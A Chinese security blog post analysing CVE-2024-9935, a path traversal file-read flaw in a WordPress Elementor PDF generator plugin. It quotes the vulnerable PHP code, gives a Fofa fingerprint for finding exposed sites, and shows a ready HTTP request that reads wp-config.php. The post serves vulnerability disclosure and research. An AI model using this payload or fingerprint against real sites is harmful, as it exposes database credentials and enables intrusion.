0x00 前言
适用于 WordPress 的 Elementor Page Builder 插件的 PDF 生成器插件在 1.7.5 之前的所有版本中都容易受到路径遍历的攻击,包括 1.7.5 rtw_pgaepb_dwnld_pdf() 函数。这使得未经身份验证的攻击者能够读取服务器上任意文件的内容,其中可能包含敏感信息。
Fofa指纹:"wp-content/plugins/pdf-generator-addon-for-elementor-page-builder"
0x01 漏洞分析&复现
位于 /public/class-pdf-generator-addon-for-elementor-page-builder-public.php的 rtw_pgaepb_dwnld_pdf 方法,通过传入rtw_generate_pdf 和 rtw_pdf_file 来读取任意文件,且无任何过滤,导致漏洞产生.
publicfunctionrtw_pgaepb_dwnld_pdf()
{
if(isset($_GET['rtw_generate_pdf']) && isset($_GET['rtw_pdf_file']) && !empty($_GET['rtw_pdf_file']) )
{
$rtw_file_path = RTW_PDF_DIR . '/' .sanitize_text_field($_GET['rtw_pdf_file']);
$rtw_file_name = sanitize_text_field($_GET['rtw_pdf_file']);
header("Content-type:application/pdf");
header("Content-Disposition:attachment;filename=$rtw_file_name");
readfile($rtw_file_path);
die();
}
}
而在 /includes/class-pdf-generator-addon-for-elementor-page-builder.php 中通过init 将此方法引入了全局钩子中,所以可以直接调用.
privatefunctiondefine_public_hooks(){
......
$this->loader->add_action( 'init', $plugin_public, 'rtw_pgaepb_dwnld_pdf' );
$this->loader->add_action('elementor/widgets/widgets_registered', $plugin_public, 'rtw_pgaepg_add_new_elements');
}
Payload (读取数据库文件):
GET /?rtw_pdf_file=../../../wp-config.php&rtw_generate_pdf=1 HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
0x02 利用脚本下载
标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,转转
利用脚本关注公众号发送 241227 获取!
原文始发于微信公众号(星悦安全):【1day】WordPress Elementor Page Builder 插件任意文件读取漏洞(CVE-2024-9935)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论